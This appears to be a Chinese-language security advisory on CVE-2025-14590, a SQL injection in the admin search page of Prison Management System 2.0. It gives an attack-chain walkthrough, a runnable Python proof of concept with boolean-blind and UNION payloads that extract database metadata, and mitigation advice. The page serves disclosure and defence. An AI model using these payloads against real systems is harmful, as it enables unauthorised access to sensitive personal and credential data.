IPBUF安全漏洞报告
English
CVE-2025-14590 CVSS 7.3 高危

CVE-2025-14590 Prison Management System SQL注入漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-14590
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Prison Management System 2.0

相关标签

SQL注入Prison Management Systemcode-projects高危漏洞远程攻击无需认证管理后台CVE-2025-14590Web应用安全数据库安全

漏洞概述

CVE-2025-14590是code-projects开源项目Prison Management System 2.0中发现的高危安全漏洞。该漏洞存在于管理后台的搜索功能文件中,通过未经过滤的用户输入参数实现SQL注入攻击。攻击者可以利用此漏洞在不需要任何认证的情况下,远程向服务器注入恶意SQL语句,从而绕过应用程序的安全验证机制。由于该漏洞影响的是监狱管理系统,涉及敏感的人员信息和监管数据,一旦被恶意利用,可能导致大量隐私数据泄露,包括囚犯个人信息、探视记录、案件详情等敏感内容。漏洞的CVSS评分达到7.3,属于高危级别,对系统机密性、完整性和可用性均造成潜在威胁。

技术细节

该SQL注入漏洞出现在/admin/search1.php文件中的搜索功能模块,漏洞点位于keyname参数。应用程序在构建SQL查询语句时,直接将用户输入的keyname参数拼接到SQL语句中,未对其进行任何过滤、转义或使用参数化查询。当攻击者构造特定格式的SQL语句作为keyname参数值时,数据库服务器会将其作为合法SQL指令执行。例如,攻击者可以通过UNION SELECT语句从数据库的其他表中提取数据,或者使用布尔盲注技术通过页面响应差异推断数据库内容。由于该参数在管理后台直接处理,且系统未实施任何输入验证或SQL语句预编译机制,攻击者可以在无需获取任何凭据的情况下远程利用此漏洞。成功利用后可能导致数据库敏感信息泄露、数据库结构被破坏,甚至可能通过数据库的扩展功能实现服务器远程代码执行。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标网站,识别Prison Management System版本,确认/admin/search1.php路径存在
STEP 2
步骤2
漏洞探测:攻击者向search1.php的keyname参数发送测试载荷,观察响应差异以确认SQL注入漏洞存在
STEP 3
步骤3
信息收集:利用UNION SELECT或盲注技术从information_schema数据库提取数据库名称、表结构等元数据
STEP 4
步骤4
数据窃取:通过构造恶意SQL查询,提取用户表、管理员表中的用户名、密码哈希等敏感凭证信息
STEP 5
步骤5
权限提升:使用获取的管理员凭据登录管理后台,可能进一步获取系统更高级别访问权限
STEP 6
步骤6
持久化控制:在数据库或文件系统中植入后门,实现长期访问控制,可能导致完全接管服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14590 SQL Injection PoC # Target: Prison Management System 2.0 # File: /admin/search1.php # Parameter: keyname import requests import sys def test_sql_injection(url): """Test for SQL injection vulnerability in search1.php""" # Test payload - Boolean based blind injection true_payload = "' OR '1'='1" false_payload = "' AND '1'='2" # Normal request normal_params = {'keyname': 'test'} # Vulnerable payload - OR condition always true vulnerable_params = {'keyname': true_payload} # Payload that should return different result blind_params = {'keyname': false_payload} try: print(f"[*] Testing target: {url}") print(f"[*] Sending normal request...") normal_resp = requests.get(url, params=normal_params, timeout=10) print(f"[*] Sending SQL injection payload: {true_payload}") vuln_resp = requests.get(url, params=vulnerable_params, timeout=10) print(f"[*] Sending blind test payload: {false_payload}") blind_resp = requests.get(url, params=blind_params, timeout=10) # Check if injection works by comparing response differences if len(vuln_resp.text) != len(blind_resp.text): print("[+] VULNERABLE: SQL injection detected!") print(f"[+] True condition response length: {len(vuln_resp.text)}") print(f"[+] False condition response length: {len(blind_resp.text)}") return True else: print("[-] Not vulnerable or target not responding") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def extract_data(url): """Extract database information using UNION-based injection""" # Database version extraction payload version_payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL---" # Database name extraction payload dbname_payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL---" # Tables extraction payload tables_payload = "' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()---" payloads = { 'version': version_payload, 'database': dbname_payload, 'tables': tables_payload } for info_type, payload in payloads.items(): try: params = {'keyname': payload} response = requests.get(url, params=params, timeout=10) print(f"\n[*] Extracting {info_type}...") print(f"[Response snippet]: {response.text[:500]}") except Exception as e: print(f"[!] Error extracting {info_type}: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = "http://target-site.com/admin/search1.php" if test_sql_injection(target_url): print("\n[*] Attempting data extraction...") extract_data(target_url)

影响范围

Prison Management System 2.0

防御指南

临时缓解措施
立即关闭/admin/search1.php的搜索功能或限制其访问权限;在Web应用防火墙中配置SQL注入防护规则,拦截包含SQL注入特征的请求;对keyname参数实施严格的输入过滤,移除或转义单引号、UNION等SQL关键词;临时禁用数据库账户的UNION、SELECT等高危操作权限;部署日志监控告警,及时发现异常的SQL注入探测行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表